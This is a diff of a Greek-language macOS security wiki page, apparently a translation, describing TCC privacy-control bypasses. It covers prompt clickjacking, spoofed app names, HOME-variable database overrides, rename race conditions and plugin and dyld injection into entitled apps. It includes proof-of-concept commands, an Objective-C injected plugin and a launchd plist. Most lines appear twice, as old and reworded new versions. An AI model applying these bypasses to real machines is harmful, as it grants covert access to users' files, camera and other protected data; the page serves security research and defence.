Είναι δυνατόν να **τοποθετήσετε ένα παράθυρο πάνω από την προτροπή TCC** ώστε ο χρήστης να **αποδεχτεί** χωρίς να το παρατηρήσει. Μπορείτε να βρείτε ένα PoC στο [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
Είναι δυνατόν να **τοποθετήσετε ένα παράθυρο πάνω από το προειδοποιητικό μήνυμα TCC** ώστε ο χρήστης να το **αποδεχτεί** χωρίς να το προσέξει. Μπορείτε να βρείτε ένα PoC στο [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
### TCC Request by arbitrary name
Ο επιτιθέμενος μπορεί να **δημιουργήσει εφαρμογές με οποιοδήποτε όνομα** (π.χ. Finder, Google Chrome...) στο **`Info.plist`** και να ζητήσει πρόσβαση σε κάποια προστατευμένη τοποθεσία TCC. Ο χρήστης θα νομίζει ότι η νόμιμη εφαρμογή είναι αυτή που ζητά αυτή την πρόσβαση.\
Επιπλέον, είναι δυνατόν να **αφαιρεθεί η νόμιμη εφαρμογή από το Dock και να τοποθετηθεί η ψεύτικη**, έτσι όταν ο χρήστης κάνει κλικ στην ψεύτικη (η οποία μπορεί να χρησιμοποιεί το ίδιο εικονίδιο) μπορεί να καλέσει την νόμιμη, να ζητήσει άδειες TCC και να εκτελέσει κακόβουλο λογισμικό, κάνοντάς τον χρήστη να πιστεύει ότι η νόμιμη εφαρμογή ζήτησε την πρόσβαση.
Επιπλέον, είναι δυνατόν να **αφαιρέσετε την νόμιμη εφαρμογή από το Dock και να βάλετε την ψεύτικη**, έτσι όταν ο χρήστης κάνει κλικ στην ψεύτικη (η οποία μπορεί να χρησιμοποιεί το ίδιο εικονίδιο) μπορεί να καλέσει την νόμιμη, να ζητήσει άδειες TCC και να εκτελέσει κακόβουλο λογισμικό, κάνοντάς τον χρήστη να πιστεύει ότι η νόμιμη εφαρμογή ζήτησε την πρόσβαση.
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
@ -52,21 +52,21 @@ asd
### Handle extensions - CVE-2022-26767
Το χαρακτηριστικό **`com.apple.macl`** δίνεται σε αρχεία για να δώσει σε μια **ορισμένη εφαρμογή άδειες να το διαβάσει.** Αυτό το χαρακτηριστικό ορίζεται όταν **σύρετε και αποθέτετε** ένα αρχείο πάνω από μια εφαρμογή, ή όταν ένας χρήστης **διπλοκλικάρει** ένα αρχείο για να το ανοίξει με την **προεπιλεγμένη εφαρμογή**.
Η ιδιότητα **`com.apple.macl`** δίνεται σε αρχεία για να δώσει σε μια **ορισμένη εφαρμογή άδειες να το διαβάσει.** Αυτή η ιδιότητα ορίζεται όταν **σύρετε και αποθέσετε** ένα αρχείο πάνω από μια εφαρμογή, ή όταν ένας χρήστης **διπλοκλικάρει** ένα αρχείο για να το ανοίξει με την **προεπιλεγμένη εφαρμογή**.
Επομένως, ένας χρήστης θα μπορούσε να **καταχωρήσει μια κακόβουλη εφαρμογή** για να χειρίζεται όλες τις επεκτάσεις και να καλέσει τις Υπηρεσίες Εκκίνησης για να **ανοίξει** οποιοδήποτε αρχείο (έτσι το κακόβουλο αρχείο θα αποκτήσει πρόσβαση για να το διαβάσει).
### iCloud
Η άδεια **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την **`com.apple.iCloudHelper`** υπηρεσία XPC που θα **παρέχει tokens iCloud**.
Η εξουσιοδότηση **`com.apple.private.icloud-account-access`** επιτρέπει την επικοινωνία με την υπηρεσία XPC **`com.apple.iCloudHelper`** που θα **παρέχει tokens iCloud**.
**iMovie** και **Garageband** είχαν αυτή την άδεια και άλλες που το επέτρεπαν.
Η **iMovie** και η **Garageband** είχαν αυτή την εξουσιοδότηση και άλλες που το επέτρεπαν.
Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε tokens icloud** από αυτή την άδεια, ελέγξτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
Για περισσότερες **πληροφορίες** σχετικά με την εκμετάλλευση για **να αποκτήσετε tokens icloud** από αυτή την εξουσιοδότηση, ελέγξτε την ομιλία: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / Automation
Μια εφαρμογή με την **άδεια `kTCCServiceAppleEvents`** θα μπορεί να **ελέγχει άλλες εφαρμογές**. Αυτό σημαίνει ότι θα μπορούσε να **καταχραστεί τις άδειες που έχουν παραχωρηθεί σε άλλες εφαρμογές**.
Μια εφαρμογή με την άδεια **`kTCCServiceAppleEvents`** θα μπορεί να **ελέγχει άλλες εφαρμογές**. Αυτό σημαίνει ότι θα μπορούσε να **καταχραστεί τις άδειες που έχουν παραχωρηθεί σε άλλες εφαρμογές**.
Για περισσότερες πληροφορίες σχετικά με τα Apple Scripts, ελέγξτε:
@ -74,7 +74,7 @@ asd
macos-apple-scripts.md
{{#endref}}
Για παράδειγμα, αν μια εφαρμογή έχει **άδεια Αυτοματοποίησης πάνω στο `iTerm`**, για παράδειγμα σε αυτό το παράδειγμα **`Terminal`** έχει πρόσβαση πάνω στο iTerm:
Για παράδειγμα, αν μια εφαρμογή έχει **άδεια Αυτοματοποίησης πάνω στο `iTerm`**, για παράδειγμα σε αυτό το παράδειγμα **`Terminal`** έχει πρόσβαση στο iTerm:
<figure><img src="../../../../../images/image (981).png" alt=""><figcaption></figcaption></figure>
@ -112,10 +112,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
### CVE-20209934 - TCC <a href="#c19b" id="c19b"></a>
Ο χρήστης **tccd daemon** χρησιμοποιούσε τη μεταβλητή **`HOME`** **env** για να έχει πρόσβαση στη βάση δεδομένων χρηστών TCC από: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
Ο χρήστης **tccd daemon** χρησιμοποιεί τη **μεταβλητή περιβάλλοντος** **`HOME`** για να έχει πρόσβαση στη βάση δεδομένων χρηστών TCC από: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
Σύμφωνα με [αυτή την ανάρτηση στο Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) και επειδή ο daemon TCC εκτελείται μέσω του `launchd` εντός του τομέα του τρέχοντος χρήστη, είναι δυνατό να **ελέγξει όλες τις μεταβλητές περιβάλλοντος** που του περνιούνται.\
Έτσι, ένας **επιτιθέμενος θα μπορούσε να ρυθμίσει τη μεταβλητή περιβάλλοντος `$HOME`** στο **`launchctl`** ώστε να δείχνει σε έναν **ελεγχόμενο** **φάκελο**, **να επανεκκινήσει** τον **daemon TCC** και στη συνέχεια **να τροποποιήσει άμεσα τη βάση δεδομένων TCC** για να δώσει στον εαυτό του **κάθε δικαίωμα TCC διαθέσιμο** χωρίς ποτέ να ζητήσει από τον τελικό χρήστη.\
Έτσι, ένας **επιτιθέμενος θα μπορούσε να ρυθμίσει τη μεταβλητή περιβάλλοντος `$HOME`** στο **`launchctl`** ώστε να δείχνει σε έναν **ελεγχόμενο** **φάκελο**, **να επανεκκινήσει** τον **daemon TCC**, και στη συνέχεια **να τροποποιήσει άμεσα τη βάση δεδομένων TCC** για να δώσει στον εαυτό του **όλες τις διαθέσιμες εξουσιοδοτήσεις TCC** χωρίς ποτέ να ζητήσει από τον τελικό χρήστη.\
PoC:
```bash
# reset database just in case (no cheating!)
@ -145,7 +145,7 @@ $> ls ~/Documents
```
### CVE-2021-30761 - Σημειώσεις
Οι Σημειώσεις είχαν πρόσβαση σε προστατευμένες τοποθεσίες TCC, αλλά όταν δημιουργείται μια σημείωση, αυτή **δημιουργείται σε μια μη προστατευμένη τοποθεσία**. Έτσι, θα μπορούσατε να ζητήσετε από τις σημειώσεις να αντιγράψουν ένα προστατευμένο αρχείο σε μια σημείωση (έτσι σε μια μη προστατευμένη τοποθεσία) και στη συνέχεια να αποκτήσετε πρόσβαση στο αρχείο:
Οι Σημειώσεις είχαν πρόσβαση σε τοποθεσίες προστατευμένες από TCC, αλλά όταν δημιουργείται μια σημείωση, αυτή **δημιουργείται σε μια μη προστατευμένη τοποθεσία**. Έτσι, θα μπορούσατε να ζητήσετε από τις σημειώσεις να αντιγράψουν ένα προστατευμένο αρχείο σε μια σημείωση (έτσι σε μια μη προστατευμένη τοποθεσία) και στη συνέχεια να αποκτήσετε πρόσβαση στο αρχείο:
<figure><img src="../../../../../images/image (476).png" alt=""><figcaption></figcaption></figure>
@ -155,26 +155,26 @@ $> ls ~/Documents
Ήταν δυνατό να προστεθεί το χαρακτηριστικό καραντίνας στη "Βιβλιοθήκη", να καλέσετε την υπηρεσία XPC **`com.apple.security.translocation`** και στη συνέχεια θα χαρτογραφούσε τη Βιβλιοθήκη σε **`$TMPDIR/AppTranslocation/d/d/Library`** όπου όλα τα έγγραφα μέσα στη Βιβλιοθήκη θα μπορούσαν να είναι **προσβάσιμα**.
### CVE-2023-38571 - Μουσική & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
### CVE-2023-38571 - Μουσική & Τηλεόραση <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
**`Music`** έχει μια ενδιαφέρουσα δυνατότητα: Όταν εκτελείται, θα **εισάγει** τα αρχεία που ρίχνονται στο **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** στη "βιβλιοθήκη μέσων" του χρήστη. Επιπλέον, καλεί κάτι σαν: **`rename(a, b);`** όπου `a` και `b` είναι:
**`Music`** έχει μια ενδιαφέρουσα δυνατότητα: Όταν εκτελείται, θα **εισάγει** τα αρχεία που απορρίπτονται στο **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** στη "βιβλιοθήκη μέσων" του χρήστη. Επιπλέον, καλεί κάτι σαν: **`rename(a, b);`** όπου `a` και `b` είναι:
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
Αυτή η συμπεριφορά **`rename(a, b);`** είναι ευάλωτη σε **Race Condition**, καθώς είναι δυνατό να τοποθετηθεί μέσα στον φάκελο `Automatically Add to Music.localized` ένα ψεύτικο αρχείο **TCC.db** και στη συνέχεια, όταν δημιουργηθεί ο νέος φάκελος (b) για να αντιγραφεί το αρχείο, να διαγραφεί και να δείξει σε **`~/Library/Application Support/com.apple.TCC`**/.
Αυτή η συμπεριφορά **`rename(a, b);`** είναι ευάλωτη σε **Race Condition**, καθώς είναι δυνατό να τοποθετηθεί μέσα στον φάκελο `Automatically Add to Music.localized` ένα ψεύτικο αρχείο **TCC.db** και στη συνέχεια, όταν δημιουργηθεί ο νέος φάκελος (b) να αντιγραφεί το αρχείο, να διαγραφεί και να δείξει σε **`~/Library/Application Support/com.apple.TCC`**/.
### SQLITE_SQLLOG_DIR - CVE-2023-32422
Αν **`SQLITE_SQLLOG_DIR="path/folder"`** σημαίνει βασικά ότι **κάθε ανοιχτή βάση δεδομένων αντιγράφεται σε αυτήν την διαδρομή**. Σε αυτήν την CVE, αυτή η ρύθμιση ελέγχου καταχράστηκε για να **γράψει** μέσα σε μια **βάση δεδομένων SQLite** που πρόκειται να **ανοιχτεί από μια διαδικασία με FDA τη βάση δεδομένων TCC**, και στη συνέχεια να καταχραστεί **`SQLITE_SQLLOG_DIR`** με ένα **symlink στο όνομα αρχείου** έτσι ώστε όταν αυτή η βάση δεδομένων είναι **ανοιχτή**, ο χρήστης **TCC.db να αντικαθίσταται** με την ανοιχτή.
Εάν **`SQLITE_SQLLOG_DIR="path/folder"`** σημαίνει βασικά ότι **οποιαδήποτε ανοιχτή βάση δεδομένων αντιγράφεται σε αυτήν την τοποθεσία**. Σε αυτήν την CVE, αυτός ο έλεγχος καταχράστηκε για να **γράψει** μέσα σε μια **βάση δεδομένων SQLite** που πρόκειται να **ανοιχτεί από μια διαδικασία με FDA τη βάση δεδομένων TCC**, και στη συνέχεια να καταχραστεί το **`SQLITE_SQLLOG_DIR`** με ένα **symlink στο όνομα αρχείου** έτσι ώστε όταν αυτή η βάση δεδομένων είναι **ανοιχτή**, ο χρήστης **TCC.db αντικαθίσταται** με την ανοιχτή.
**Περισσότερες πληροφορίες** [**στην αναφορά**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **και** [**στην ομιλία**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
### **SQLITE_AUTO_TRACE**
Αν η μεταβλητή περιβάλλοντος **`SQLITE_AUTO_TRACE`** είναι ρυθμισμένη, η βιβλιοθήκη **`libsqlite3.dylib`** θα αρχίσει να **καταγράφει** όλα τα SQL ερωτήματα. Πολλές εφαρμογές χρησιμοποίησαν αυτή τη βιβλιοθήκη, οπότε ήταν δυνατό να καταγραφούν όλα τα SQLite ερωτήματα τους.
Εάν η μεταβλητή περιβάλλοντος **`SQLITE_AUTO_TRACE`** είναι ρυθμισμένη, η βιβλιοθήκη **`libsqlite3.dylib`** θα αρχίσει να **καταγράφει** όλα τα SQL queries. Πολλές εφαρμογές χρησιμοποίησαν αυτή τη βιβλιοθήκη, οπότε ήταν δυνατό να καταγραφούν όλα τα SQLite queries τους.
Πολλές εφαρμογές της Apple χρησιμοποίησαν αυτή τη βιβλιοθήκη για να αποκτήσουν πρόσβαση σε προστατευμένες πληροφορίες TCC.
Πολλές εφαρμογές της Apple χρησιμοποίησαν αυτή τη βιβλιοθήκη για να αποκτήσουν πρόσβαση σε πληροφορίες προστατευμένες από TCC.
```bash
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
@ -185,29 +185,29 @@ launchctl setenv SQLITE_AUTO_TRACE 1
Ρυθμίζοντας το εξής: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Αν το `path` είναι έγκυρος φάκελος, το σφάλμα θα ενεργοποιηθεί και μπορούμε να χρησιμοποιήσουμε το `fs_usage` για να δούμε τι συμβαίνει στο πρόγραμμα:
- ένα αρχείο θα `open()`εται, που ονομάζεται `path/.dat.nosyncXXXX.XXXXXX` (X είναι τυχαίος)
- ένα αρχείο θα `open()`αριστεί, ονομάζεται `path/.dat.nosyncXXXX.XXXXXX` (X είναι τυχαίος)
- ένα ή περισσότερα `write()` θα γράψουν τα περιεχόμενα στο αρχείο (δεν το ελέγχουμε αυτό)
- το `path/.dat.nosyncXXXX.XXXXXX` θα `renamed()` σε `path/name`
Είναι μια προσωρινή εγγραφή αρχείου, ακολουθούμενη από μια **`rename(old, new)`** **η οποία δεν είναι ασφαλής.**
Δεν είναι ασφαλής γιατί πρέπει να **λύσει τους παλιούς και νέους φακέλους ξεχωριστά**, κάτι που μπορεί να πάρει κάποιο χρόνο και μπορεί να είναι ευάλωτο σε Race Condition. Για περισσότερες πληροφορίες μπορείτε να ελέγξετε τη λειτουργία `renameat_internal()` του `xnu`.
Δεν είναι ασφαλής γιατί πρέπει να **λύσει τους παλιούς και νέους φακέλους ξεχωριστά**, κάτι που μπορεί να πάρει κάποιο χρόνο και μπορεί να είναι ευάλωτο σε μια Συνθήκη Αγώνα. Για περισσότερες πληροφορίες μπορείτε να ελέγξετε τη λειτουργία `renameat_internal()` του `xnu`.
> [!CAUTION]
> Ουσιαστικά, αν μια προνομιακή διαδικασία μετονομάζει από έναν φάκελο που ελέγχετε, θα μπορούσατε να κερδίσετε ένα RCE και να την κάνετε να έχει πρόσβαση σε ένα διαφορετικό αρχείο ή, όπως σε αυτήν την CVE, να ανοίξετε το αρχείο που δημιούργησε η προνομιακή εφαρμογή και να αποθηκεύσετε ένα FD.
> Έτσι, βασικά, αν μια προνομιακή διαδικασία μετονομάζει από έναν φάκελο που ελέγχετε, θα μπορούσατε να κερδίσετε μια RCE και να την κάνετε να έχει πρόσβαση σε ένα διαφορετικό αρχείο ή, όπως σε αυτήν την CVE, να ανοίξετε το αρχείο που δημιούργησε η προνομιακή εφαρμογή και να αποθηκεύσετε ένα FD.
>
> Αν η μετονομασία έχει πρόσβαση σε έναν φάκελο που ελέγχετε, ενώ έχετε τροποποιήσει το αρχικό αρχείο ή έχετε ένα FD σε αυτό, αλλάζετε το αρχείο (ή φάκελο) προορισμού ώστε να δείχνει σε ένα symlink, έτσι ώστε να μπορείτε να γράφετε όποτε θέλετε.
> Αν η μετονομασία έχει πρόσβαση σε έναν φάκελο που ελέγχετε, ενώ έχετε τροποποιήσει το αρχείο προέλευσης ή έχετε ένα FD σε αυτό, αλλάζετε το αρχείο (ή φάκελο) προορισμού ώστε να δείχνει σε ένα symlink, έτσι ώστε να μπορείτε να γράφετε όποτε θέλετε.
Αυτή ήταν η επίθεση στην CVE: Για παράδειγμα, για να αντικαταστήσουμε τη βάση δεδομένων `TCC.db` του χρήστη, μπορούμε:
Αυτή ήταν η επίθεση στην CVE: Για παράδειγμα, για να αντικαταστήσουμε τη `TCC.db` του χρήστη, μπορούμε:
- να δημιουργήσουμε `/Users/hacker/ourlink` για να δείχνει στο `/Users/hacker/Library/Application Support/com.apple.TCC/`
- να δημιουργήσουμε το φάκελο `/Users/hacker/tmp/`
- να ρυθμίσουμε `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
- να ενεργοποιήσουμε το σφάλμα εκτελώντας το `Music` με αυτή τη μεταβλητή περιβάλλοντος
- να ενεργοποιήσουμε το σφάλμα τρέχοντας το `Music` με αυτή τη μεταβλητή περιβάλλοντος
- να πιάσουμε το `open()` του `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X είναι τυχαίος)
- εδώ επίσης `open()` αυτό το αρχείο για εγγραφή, και να κρατήσουμε τον περιγραφέα αρχείου
- να αλλάξουμε ατομικά το `/Users/hacker/tmp` με το `/Users/hacker/ourlink` **σε βρόχο**
- το κάνουμε αυτό για να μεγιστοποιήσουμε τις πιθανότητες επιτυχίας μας καθώς το παράθυρο αγώνα είναι αρκετά στενό, αλλά η απώλεια του αγώνα έχει αμελητέα αρνητική πλευρά
- εδώ επίσης `open()`αριστούμε αυτό το αρχείο για εγγραφή, και κρατάμε το περιγραφέα αρχείου
- ατομικά να αλλάξουμε το `/Users/hacker/tmp` με το `/Users/hacker/ourlink` **σε έναν βρόχο**
- το κάνουμε αυτό για να μεγιστοποιήσουμε τις πιθανότητες επιτυχίας μας καθώς το παράθυρο αγώνα είναι αρκετά λεπτό, αλλά η απώλεια του αγώνα έχει αμελητέα αρνητική πλευρά
- περιμένουμε λίγο
- δοκιμάζουμε αν είχαμε τύχη
- αν όχι, τρέχουμε ξανά από την αρχή
@ -219,15 +219,15 @@ launchctl setenv SQLITE_AUTO_TRACE 1
### Apple Remote Desktop
Ως root μπορείτε να ενεργοποιήσετε αυτή την υπηρεσία και ο **ARD agent θα έχει πλήρη πρόσβαση στο δίσκο** που θα μπορούσε στη συνέχεια να καταχραστεί από έναν χρήστη για να τον κάνει να αντιγράψει μια νέα **βάση δεδομένων TCC χρήστη**.
Ως root θα μπορούσατε να ενεργοποιήσετε αυτή την υπηρεσία και ο **ARD agent θα έχει πλήρη πρόσβαση στο δίσκο** που θα μπορούσε στη συνέχεια να καταχραστεί από έναν χρήστη για να τον κάνει να αντιγράψει μια νέα **βάση δεδομένων TCC χρήστη**.
## Με **NFSHomeDirectory**
## Από **NFSHomeDirectory**
Το TCC χρησιμοποιεί μια βάση δεδομένων στον φάκελο HOME του χρήστη για να ελέγξει την πρόσβαση σε πόρους συγκεκριμένους για τον χρήστη στο **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\
Επομένως, αν ο χρήστης καταφέρει να επανεκκινήσει το TCC με μια μεταβλητή περιβάλλοντος $HOME που δείχνει σε **διαφορετικό φάκελο**, ο χρήστης θα μπορούσε να δημιουργήσει μια νέα βάση δεδομένων TCC στο **/Library/Application Support/com.apple.TCC/TCC.db** και να ξεγελάσει το TCC να παραχωρήσει οποιαδήποτε άδεια TCC σε οποιαδήποτε εφαρμογή.
Επομένως, αν ο χρήστης καταφέρει να επανεκκινήσει το TCC με μια μεταβλητή περιβάλλοντος $HOME που δείχνει σε έναν **διαφορετικό φάκελο**, ο χρήστης θα μπορούσε να δημιουργήσει μια νέα βάση δεδομένων TCC στο **/Library/Application Support/com.apple.TCC/TCC.db** και να εξαπατήσει το TCC να παραχωρήσει οποιαδήποτε άδεια TCC σε οποιαδήποτε εφαρμογή.
> [!TIP]
> Σημειώστε ότι η Apple χρησιμοποιεί τη ρύθμιση που αποθηκεύεται μέσα στο προφίλ του χρήστη στο **`NFSHomeDirectory`** χαρακτηριστικό για την **τιμή του `$HOME`**, οπότε αν παραβιάσετε μια εφαρμογή με άδειες να τροποποιήσει αυτή την τιμή (**`kTCCServiceSystemPolicySysAdminFiles`**), μπορείτε να **οπλοποιήσετε** αυτή την επιλογή με μια παράκαμψη TCC.
> Σημειώστε ότι η Apple χρησιμοποιεί τη ρύθμιση που αποθηκεύεται μέσα στο προφίλ του χρήστη στο **`NFSHomeDirectory`** χαρακτηριστικό για την **τιμή του `$HOME`**, οπότε αν παραβιάσετε μια εφαρμογή με άδειες να τροποποιήσει αυτή την τιμή (**`kTCCServiceSystemPolicySysAdminFiles`**), μπορείτε να **οπλίσετε** αυτή την επιλογή με μια παράκαμψη TCC.
### [CVE-20209934 - TCC](#c19b) <a href="#c19b" id="c19b"></a>
@ -237,7 +237,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
Η **πρώτη POC** χρησιμοποιεί [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) και [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) για να τροποποιήσει το **HOME** φάκελο του χρήστη.
1. Λάβετε ένα _csreq_ blob για την στοχοθετημένη εφαρμογή.
1. Πάρτε ένα _csreq_ blob για την στοχοθετημένη εφαρμογή.
2. Φυτέψτε ένα ψεύτικο _TCC.db_ αρχείο με απαιτούμενη πρόσβαση και το _csreq_ blob.
3. Εξάγετε την εγγραφή Υπηρεσιών Καταλόγου του χρήστη με [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
4. Τροποποιήστε την εγγραφή Υπηρεσιών Καταλόγου για να αλλάξετε το φάκελο του χρήστη.
@ -245,11 +245,11 @@ launchctl setenv SQLITE_AUTO_TRACE 1
6. Σταματήστε το _tccd_ του χρήστη και επανεκκινήστε τη διαδικασία.
Η δεύτερη POC χρησιμοποίησε **`/usr/libexec/configd`** που είχε `com.apple.private.tcc.allow` με την τιμή `kTCCServiceSystemPolicySysAdminFiles`.\
Ήταν δυνατό να εκτελέσετε το **`configd`** με την επιλογή **`-t`**, ένας επιτιθέμενος θα μπορούσε να καθορίσει ένα **προσαρμοσμένο Bundle για φόρτωση**. Επομένως, η εκμετάλλευση **αντικαθιστά** τη μέθοδο **`dsexport`** και **`dsimport`** για την αλλαγή του φακέλου του χρήστη με μια **ένεση κώδικα configd**.
Ήταν δυνατό να τρέξει το **`configd`** με την επιλογή **`-t`**, ένας επιτιθέμενος θα μπορούσε να καθορίσει ένα **προσαρμοσμένο Bundle για φόρτωση**. Επομένως, η εκμετάλλευση **αντικαθιστά** τη μέθοδο **`dsexport`** και **`dsimport`** για την αλλαγή του φακέλου του χρήστη με μια **ένεση κώδικα `configd`**.
Για περισσότερες πληροφορίες ελέγξτε την [**αρχική αναφορά**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
## Με ένεση διαδικασίας
## Από ένεση διαδικασίας
Υπάρχουν διάφορες τεχνικές για να εγχύσετε κώδικα μέσα σε μια διαδικασία και να καταχραστείτε τα προνόμια TCC της:
@ -257,14 +257,14 @@ launchctl setenv SQLITE_AUTO_TRACE 1
../../../macos-proces-abuse/
{{#endref}}
Επιπλέον, η πιο κοινή ένεση διαδικασίας για να παρακάμψετε το TCC που βρέθηκε είναι μέσω **plugins (load library)**.\
Επιπλέον, η πιο κοινή ένεση διαδικασίας για να παρακάμψετε το TCC που βρέθηκε είναι μέσω **plugins (φόρτωση βιβλιοθήκης)**.\
Τα plugins είναι επιπλέον κώδικας συνήθως με τη μορφή βιβλιοθηκών ή plist, που θα **φορτωθούν από την κύρια εφαρμογή** και θα εκτελούνται υπό το πλαίσιο της. Επομένως, αν η κύρια εφαρμογή είχε πρόσβαση σε αρχεία περιορισμένα από το TCC (μέσω παραχωρημένων αδειών ή δικαιωμάτων), ο **προσαρμοσμένος κώδικας θα έχει επίσης πρόσβαση**.
### CVE-2020-27937 - Directory Utility
Η εφαρμογή `/System/Library/CoreServices/Applications/Directory Utility.app` είχε την άδεια **`kTCCServiceSystemPolicySysAdminFiles`**, φόρτωσε plugins με επέκταση **`.daplug`** και **δεν είχε την σκληρυμένη** εκτέλεση.
Η εφαρμογή `/System/Library/CoreServices/Applications/Directory Utility.app` είχε την άδεια **`kTCCServiceSystemPolicySysAdminFiles`**, φόρτωσε plugins με **`.daplug`** επέκταση και **δεν είχε την σκληρυμένη** εκτέλεση.
Για να οπλοποιήσετε αυτή την CVE, το **`NFSHomeDirectory`** **αλλάζει** (καταχρώντας την προηγούμενη άδεια) προκειμένου να μπορέσετε να **αναλάβετε τη βάση δεδομένων TCC των χρηστών** για να παρακάμψετε το TCC.
Για να οπλίσετε αυτή την CVE, το **`NFSHomeDirectory`** **αλλάζει** (καταχρώντας την προηγούμενη άδεια) προκειμένου να μπορέσετε να **αναλάβετε τη βάση δεδομένων TCC των χρηστών** για να παρακάμψετε το TCC.
Για περισσότερες πληροφορίες ελέγξτε την [**αρχική αναφορά**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
@ -272,7 +272,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
Το δυαδικό **`/usr/sbin/coreaudiod`** είχε τις άδειες `com.apple.security.cs.disable-library-validation` και `com.apple.private.tcc.manager`. Η πρώτη **επιτρέπει την ένεση κώδικα** και η δεύτερη δίνει πρόσβαση για **διαχείριση του TCC**.
Αυτό το δυαδικό επέτρεπε τη φόρτωση **τρίτων plugins** από το φάκελο `/Library/Audio/Plug-Ins/HAL`. Επομένως, ήταν δυνατό να **φορτώσετε ένα plugin και να καταχραστείτε τις άδειες TCC** με αυτό το PoC:
Αυτό το δυαδικό επέτρεπε τη φόρτωση **τρίτων plugins** από το φάκελο `/Library/Audio/Plug-Ins/HAL`. Επομένως, ήταν δυνατό να **φορτωθεί ένα plugin και να καταχραστούν οι άδειες TCC** με αυτό το PoC:
```objectivec
#import <Foundation/Foundation.h>
#import <Security/Security.h>
@ -303,7 +303,7 @@ exit(0);
### Device Abstraction Layer (DAL) Plug-Ins
Οι εφαρμογές συστήματος που ανοίγουν ροή κάμερας μέσω Core Media I/O (εφαρμογές με **`kTCCServiceCamera`**) φορτώνουν **κατά τη διαδικασία αυτά τα πρόσθετα** που βρίσκονται στο `/Library/CoreMediaIO/Plug-Ins/DAL` (όχι περιορισμένα από SIP).
Οι εφαρμογές συστήματος που ανοίγουν ροή κάμερας μέσω Core Media I/O (εφαρμογές με **`kTCCServiceCamera`**) φορτώνουν **στη διαδικασία αυτά τα plugins** που βρίσκονται στο `/Library/CoreMediaIO/Plug-Ins/DAL` (όχι περιορισμένα από SIP).
Απλά αποθηκεύοντας εκεί μια βιβλιοθήκη με τον κοινό **κατασκευαστή** θα λειτουργήσει για **εισαγωγή κώδικα**.
@ -347,7 +347,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
Το Telegram είχε τα δικαιώματα **`com.apple.security.cs.allow-dyld-environment-variables`** και **`com.apple.security.cs.disable-library-validation`**, οπότε ήταν δυνατό να το εκμεταλλευτεί κανείς για **να αποκτήσει πρόσβαση στα δικαιώματά του** όπως η καταγραφή με την κάμερα. Μπορείτε να [**βρείτε το payload στην αναφορά**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
Σημειώστε πώς να χρησιμοποιήσετε τη μεταβλητή env για να φορτώσετε μια βιβλιοθήκη, δημιουργήθηκε μια **προσαρμοσμένη plist** για να εισαχθεί αυτή η βιβλιοθήκη και χρησιμοποιήθηκε το **`launchctl`** για να την εκκινήσει:
Σημειώστε πώς να χρησιμοποιήσετε τη μεταβλητή env για να φορτώσετε μια βιβλιοθήκη, δημιουργήθηκε μια **custom plist** για να εισαχθεί αυτή η βιβλιοθήκη και χρησιμοποιήθηκε το **`launchctl`** για να την εκκινήσει:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -383,9 +383,9 @@ launchctl load com.telegram.launcher.plist
### Σενάρια Τερματικού
